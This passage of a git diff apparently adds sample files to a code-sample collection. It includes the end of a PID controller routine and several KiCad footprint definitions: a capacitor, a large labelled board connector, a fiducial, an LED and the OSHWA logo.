+  local P is seekVal - curVal.
+  local D is oldD. // default if we do no work this time.
+  local I is oldI. // default if we do no work this time.
+  local newInput is oldInput. // default if we do no work this time.
+
+  local t is time:seconds.
+  local dT is t - oldT.
+
+  if oldT < 0 {
+    // I have never been called yet - so don't trust any
+    // of the settings yet.
+  } else {
+    if dT > 0 { // Do nothing if no physics tick has passed from prev call to now.
+     set D to (P - oldP)/dT. // crude fake derivative of P
+     local onlyPD is Kp*P + Kd*D.
+     if (oldI > 0 or onlyPD > cMin) and (oldI < 0 or onlyPD < cMax) { // only do the I turm when within the control range
+      set I to oldI + P*dT. // crude fake integral of P
+     }.
+     set newInput to onlyPD + Ki*I.
+    }.
+  }.
+
+  set newInput to max(cMin,min(cMax,newInput)).
+
+  // remember old values for next time.
+  set PID_array[5] to seekVal.
+  set PID_array[6] to P.
+  set PID_array[7] to I.
+  set PID_array[8] to D.
+  set PID_array[9] to t.
+  set PID_array[10] to newInput.
+
+  return newInput.
+}.
diff --git a/samples/KiCad Layout/C_Disc_D3_P2.5.kicad_mod b/samples/KiCad Layout/C_Disc_D3_P2.5.kicad_mod
new file mode 100644
index 0000000000..518d4ee20f
--- /dev/null
+++ b/samples/KiCad Layout/C_Disc_D3_P2.5.kicad_mod	
@@ -0,0 +1,23 @@
+(module footprints:C_Disc_D3_P2.5 (layer F.Cu) (tedit 0)
+  (descr "Capacitor 3mm Disc, Pitch 2.5mm")
+  (tags Capacitor)
+  (fp_text reference C1 (at 1.25 -2.5) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_text value C_100nF (at 1.25 2.5) (layer F.Fab)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_line (start -0.9 -1.5) (end 3.4 -1.5) (layer F.CrtYd) (width 0.05))
+  (fp_line (start 3.4 -1.5) (end 3.4 1.5) (layer F.CrtYd) (width 0.05))
+  (fp_line (start 3.4 1.5) (end -0.9 1.5) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -0.9 1.5) (end -0.9 -1.5) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -0.25 -1.25) (end 2.75 -1.25) (layer F.SilkS) (width 0.15))
+  (fp_line (start 2.75 1.25) (end -0.25 1.25) (layer F.SilkS) (width 0.15))
+  (pad 1 thru_hole rect (at 0 0) (size 1.3 1.3) (drill 0.8) (layers *.Cu *.Mask F.SilkS))
+  (pad 2 thru_hole circle (at 2.5 0) (size 1.3 1.3) (drill 0.8001) (layers *.Cu *.Mask F.SilkS))
+  (model Capacitors_ThroughHole.3dshapes/C_Disc_D3_P2.5.wrl
+    (at (xyz 0.0492126 0 0))
+    (scale (xyz 1 1 1))
+    (rotate (xyz 0 0 0))
+  )
+)
diff --git a/samples/KiCad Layout/Conn_Poncho_SinBorde.kicad_mod b/samples/KiCad Layout/Conn_Poncho_SinBorde.kicad_mod
new file mode 100644
index 0000000000..0d02988dc4
--- /dev/null
+++ b/samples/KiCad Layout/Conn_Poncho_SinBorde.kicad_mod	
@@ -0,0 +1,344 @@
+(module Conn_Poncho_SinBorde (layer F.Cu) (tedit 560F0DC0)
+  (tags "CONN Poncho")
+  (fp_text reference XA? (at -0.254 -3.175) (layer F.SilkS)
+    (effects (font (size 0.8 0.8) (thickness 0.12)))
+  )
+  (fp_text value Conn_Poncho_SinBorde (at -1.905 51.181) (layer F.SilkS) hide
+    (effects (font (size 1.016 1.016) (thickness 0.2032)))
+  )
+  (fp_text user GPIO8 (at -64.516 48.26) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GPIO7 (at -64.516 45.72) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GPIO5 (at -64.516 43.18) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GPIO3 (at -64.516 40.64) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GPIO1 (at -64.516 38.1) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user LCD1 (at -65.024 35.56) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user LCD2 (at -65.024 33.02) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user LCD3 (at -65.024 30.48) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user LCD_RS (at -64.008 27.94) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user LCD4 (at -65.024 25.4) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user SPI_SCK (at -63.754 22.86) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user SPI_MISO (at -63.5 20.32) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user TXD1 (at -65.024 17.78) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user TXD0 (at -65.024 15.24) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user MDIO (at -65.024 12.7) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user CRS_DV (at -64.008 10.16) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user MDC (at -65.278 7.62) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user TX_EN (at -64.77 5.08) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user RXD1 (at -65.024 2.54) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user +5V (at -65.532 0) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at -74.168 48.006) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at -74.168 45.72) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GPIO6 (at -74.93 43.18) (layer F.SilkS)
+    (effects (font (size 1 0.9) (thickness 0.2)))
+  )
+  (fp_text user GPIO4 (at -74.93 40.64) (layer F.SilkS)
+    (effects (font (size 1 0.9) (thickness 0.2)))
+  )
+  (fp_text user GPIO2 (at -74.93 38.1) (layer F.SilkS)
+    (effects (font (size 1 0.9) (thickness 0.2)))
+  )
+  (fp_text user GPIO0 (at -74.93 35.56) (layer F.SilkS)
+    (effects (font (size 1 0.9) (thickness 0.2)))
+  )
+  (fp_text user GND (at -74.168 33.02) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at -74.168 30.48) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user LCD_EN (at -74.676 27.686) (layer F.SilkS)
+    (effects (font (size 1 0.7) (thickness 0.17)))
+  )
+  (fp_text user SPI_MOSI (at -74.93 25.146) (layer F.SilkS)
+    (effects (font (size 1 0.7) (thickness 0.17)))
+  )
+  (fp_text user GND (at -74.168 22.86) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at -74.168 20.32) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user REF_CLK (at -74.93 17.78) (layer F.SilkS)
+    (effects (font (size 0.9 0.7) (thickness 0.175)))
+  )
+  (fp_text user GND (at -74.168 15.24) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at -74.168 12.7) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at -74.168 7.62) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user RXD0 (at -74.676 10.16) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at -74.168 5.08) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at -74.168 2.54) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user +3.3V (at -74.93 0) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at 5.588 48.26) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at 5.588 45.72) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user T_F1 (at 5.588 43.18) (layer F.SilkS)
+    (effects (font (size 0.9 0.9) (thickness 0.18)))
+  )
+  (fp_text user T_C2 (at 5.588 40.64) (layer F.SilkS)
+    (effects (font (size 0.9 0.9) (thickness 0.18)))
+  )
+  (fp_text user GND (at 5.588 38.1) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at 5.334 35.56) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at 5.588 33.02) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at 5.588 30.48) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at 5.588 27.94) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at 5.588 25.4) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GND (at 5.588 22.86) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GNDA (at 5.588 20.32) (layer F.SilkS)
+    (effects (font (size 0.76 0.76) (thickness 0.19)))
+  )
+  (fp_text user GNDA (at 5.588 17.78) (layer F.SilkS)
+    (effects (font (size 0.76 0.76) (thickness 0.19)))
+  )
+  (fp_text user GNDA (at 5.588 15.24) (layer F.SilkS)
+    (effects (font (size 0.76 0.76) (thickness 0.19)))
+  )
+  (fp_text user GNDA (at 5.588 12.7) (layer F.SilkS)
+    (effects (font (size 0.76 0.76) (thickness 0.19)))
+  )
+  (fp_text user GNDA (at 5.588 10.16) (layer F.SilkS)
+    (effects (font (size 0.76 0.76) (thickness 0.19)))
+  )
+  (fp_text user GNDA (at 5.588 7.62) (layer F.SilkS)
+    (effects (font (size 0.76 0.76) (thickness 0.19)))
+  )
+  (fp_text user WAKEUP (at 5.588 5.334) (layer F.SilkS)
+    (effects (font (size 1 0.5) (thickness 0.125)))
+  )
+  (fp_text user GND (at 5.588 3.048) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user +5V (at 5.588 0) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user T_COL0 (at -4.064 48.26) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user T_FIL2 (at -3.81 45.72) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user T_FIL3 (at -3.81 43.18) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user T_FIL0 (at -3.81 40.64) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user T_COL1 (at -4.064 38.1) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user CAN_TD (at -4.318 35.56) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user CAN_RD (at -4.318 33.02) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user 232_TX (at -4.318 30.48) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user 232_RX (at -4.318 27.94) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user I2C_SCL (at -4.572 25.4) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user I2C_SDA (at -4.572 22.86) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user VDDA (at -3.302 20.32) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user DAC (at -3.048 17.78) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user CH1 (at -3.048 15.24) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user CH2 (at -3.048 12.7) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user CH3 (at -3.048 10.16) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user GNDA (at -3.556 7.62) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user ISP (at -2.794 5.08) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user RESET (at -3.81 2.54) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_text user CIAA-P2 (at -69.85 -2.032) (layer F.SilkS)
+    (effects (font (size 0.8 0.8) (thickness 0.12)))
+  )
+  (fp_text user CIAA-P1 (at 1.27 -2.032) (layer F.SilkS)
+    (effects (font (size 0.8 0.8) (thickness 0.12)))
+  )
+  (fp_text user +3.3V (at -3.81 0) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.2)))
+  )
+  (fp_line (start -72.39 0) (end -72.39 -1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start -72.39 -1.27) (end -67.31 -1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start -67.31 -1.27) (end -67.31 49.53) (layer F.SilkS) (width 0.15))
+  (fp_line (start -67.31 49.53) (end -72.39 49.53) (layer F.SilkS) (width 0.15))
+  (fp_line (start -72.39 49.53) (end -72.39 0) (layer F.SilkS) (width 0.15))
+  (fp_line (start -1.27 49.53) (end -1.27 -1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 3.81 49.53) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 3.81 49.53) (end -1.27 49.53) (layer F.SilkS) (width 0.15))
+  (fp_line (start 3.81 -1.27) (end -1.27 -1.27) (layer F.SilkS) (width 0.15))
+  (pad 1 thru_hole rect (at 0 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 2 thru_hole oval (at 2.54 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 11 thru_hole oval (at 0 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 4 thru_hole oval (at 2.54 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 13 thru_hole oval (at 0 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 6 thru_hole oval (at 2.54 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 15 thru_hole oval (at 0 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 8 thru_hole oval (at 2.54 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 17 thru_hole oval (at 0 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 10 thru_hole oval (at 2.54 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 19 thru_hole oval (at 0 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 12 thru_hole oval (at 2.54 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 21 thru_hole oval (at 0 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 14 thru_hole oval (at 2.54 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 23 thru_hole oval (at 0 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 16 thru_hole oval (at 2.54 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 25 thru_hole oval (at 0 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 18 thru_hole oval (at 2.54 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 27 thru_hole oval (at 0 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 20 thru_hole oval (at 2.54 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 29 thru_hole oval (at 0 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 22 thru_hole oval (at 2.54 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 31 thru_hole oval (at 0 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 24 thru_hole oval (at 2.54 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 26 thru_hole oval (at 2.54 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 33 thru_hole oval (at 0 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 28 thru_hole oval (at 2.54 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 32 thru_hole oval (at 2.54 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 34 thru_hole oval (at 2.54 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 36 thru_hole oval (at 2.54 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 38 thru_hole oval (at 2.54 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 35 thru_hole oval (at 0 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 37 thru_hole oval (at 0 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 3 thru_hole oval (at 0 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 5 thru_hole oval (at 0 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 7 thru_hole oval (at 0 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 9 thru_hole oval (at 0 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 39 thru_hole oval (at 0 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 40 thru_hole oval (at 2.54 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 30 thru_hole oval (at 2.54 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 41 thru_hole rect (at -71.12 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 42 thru_hole oval (at -68.58 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 43 thru_hole oval (at -71.12 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 44 thru_hole oval (at -68.58 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 45 thru_hole oval (at -71.12 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 46 thru_hole oval (at -68.58 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 47 thru_hole oval (at -71.12 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 48 thru_hole oval (at -68.58 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 49 thru_hole oval (at -71.12 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 50 thru_hole oval (at -68.58 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 51 thru_hole oval (at -71.12 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 52 thru_hole oval (at -68.58 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 53 thru_hole oval (at -71.12 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 54 thru_hole oval (at -68.58 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 55 thru_hole oval (at -71.12 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 56 thru_hole oval (at -68.58 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 57 thru_hole oval (at -71.12 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 58 thru_hole oval (at -68.58 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 59 thru_hole oval (at -71.12 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 60 thru_hole oval (at -68.58 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 61 thru_hole oval (at -71.12 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 62 thru_hole oval (at -68.58 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 63 thru_hole oval (at -71.12 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 64 thru_hole oval (at -68.58 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 65 thru_hole oval (at -71.12 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 66 thru_hole oval (at -68.58 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 67 thru_hole oval (at -71.12 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 68 thru_hole oval (at -68.58 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 69 thru_hole oval (at -71.12 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 70 thru_hole oval (at -68.58 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 71 thru_hole oval (at -71.12 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 72 thru_hole oval (at -68.58 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 73 thru_hole oval (at -71.12 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 74 thru_hole oval (at -68.58 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 75 thru_hole oval (at -71.12 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 76 thru_hole oval (at -68.58 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 77 thru_hole oval (at -71.12 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 78 thru_hole oval (at -68.58 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 79 thru_hole oval (at -71.12 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 80 thru_hole oval (at -68.58 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+)
diff --git a/samples/KiCad Layout/Fiducial_1mm.kicad_mod b/samples/KiCad Layout/Fiducial_1mm.kicad_mod
new file mode 100644
index 0000000000..284bdc361c
--- /dev/null
+++ b/samples/KiCad Layout/Fiducial_1mm.kicad_mod	
@@ -0,0 +1,11 @@
+(module footprints:Fiducial_1mm (layer F.Cu) (tedit 573E1507)
+  (clearance 1.524)
+  (fp_text reference F3 (at 0.02 -0.9) (layer F.SilkS) hide
+    (effects (font (size 0.7112 0.4572) (thickness 0.1143)))
+  )
+  (fp_text value FIDUCIAL (at 0 0.99) (layer F.SilkS) hide
+    (effects (font (size 0.254 0.254) (thickness 0.00254)))
+  )
+  (pad 1 smd circle (at 0 0) (size 1 1) (layers F.Cu F.Mask)
+    (solder_mask_margin 1.5))
+)
diff --git a/samples/KiCad Layout/LED-5MM.kicad_mod b/samples/KiCad Layout/LED-5MM.kicad_mod
new file mode 100644
index 0000000000..06a4f335fa
--- /dev/null
+++ b/samples/KiCad Layout/LED-5MM.kicad_mod	
@@ -0,0 +1,25 @@
+(module footprints:LED-5MM (layer F.Cu) (tedit 5570F7EA)
+  (descr "LED 5mm round vertical")
+  (tags "LED 5mm round vertical")
+  (fp_text reference D4 (at 1.524 4.064) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_text value LED (at 1.524 -3.937) (layer F.Fab)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))
+  (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))
+  (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))
+  (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))
+  (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))
+  (fp_text user K (at -1.905 1.905) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (pad 1 thru_hole rect (at 0 0 90) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS))
+  (pad 2 thru_hole circle (at 2.54 0) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS))
+  (model LEDs.3dshapes/LED-5MM.wrl
+    (at (xyz 0.05 0 0))
+    (scale (xyz 1 1 1))
+    (rotate (xyz 0 0 90))
+  )
+)
diff --git a/samples/KiCad Layout/Logo_OSHWA.kicad_mod b/samples/KiCad Layout/Logo_OSHWA.kicad_mod
new file mode 100644
index 0000000000..8f8a088c1f
--- /dev/null
+++ b/samples/KiCad Layout/Logo_OSHWA.kicad_mod	
@@ -0,0 +1,78 @@
+(module footprints:Logo_OSHWA (layer F.Cu) (tedit 560D8B85)
+  (fp_text reference G101 (at 0 4.2418) (layer F.SilkS) hide
+    (effects (font (size 0.7112 0.4572) (thickness 0.1143)))
+  )
+  (fp_text value Logo_OSHWA (at 0 -4.2418) (layer F.SilkS) hide
+    (effects (font (size 0.36322 0.36322) (thickness 0.07112)))
+  )
+  (fp_poly (pts (xy -2.42316 3.59156) (xy -2.38252 3.57124) (xy -2.28854 3.51282) (xy -2.15392 3.42392)
+    (xy -1.99644 3.31978) (xy -1.83896 3.21056) (xy -1.70942 3.1242) (xy -1.61798 3.06578)
+    (xy -1.57988 3.04546) (xy -1.55956 3.05054) (xy -1.48336 3.08864) (xy -1.37414 3.14452)
+    (xy -1.31064 3.17754) (xy -1.21158 3.22072) (xy -1.16078 3.23088) (xy -1.15316 3.21564)
+    (xy -1.11506 3.13944) (xy -1.05918 3.00736) (xy -0.98298 2.83464) (xy -0.89662 2.63144)
+    (xy -0.80264 2.413) (xy -0.7112 2.18948) (xy -0.6223 1.97612) (xy -0.54356 1.78562)
+    (xy -0.48006 1.63068) (xy -0.43942 1.52146) (xy -0.42418 1.47574) (xy -0.42926 1.46558)
+    (xy -0.48006 1.41732) (xy -0.56642 1.35128) (xy -0.75692 1.19634) (xy -0.94234 0.96266)
+    (xy -1.05664 0.6985) (xy -1.09474 0.40386) (xy -1.06172 0.13208) (xy -0.95504 -0.12954)
+    (xy -0.77216 -0.36576) (xy -0.55118 -0.54102) (xy -0.2921 -0.65278) (xy 0 -0.68834)
+    (xy 0.2794 -0.65786) (xy 0.5461 -0.55118) (xy 0.78232 -0.37084) (xy 0.88138 -0.25654)
+    (xy 1.01854 -0.01778) (xy 1.09728 0.23876) (xy 1.1049 0.30226) (xy 1.09474 0.5842)
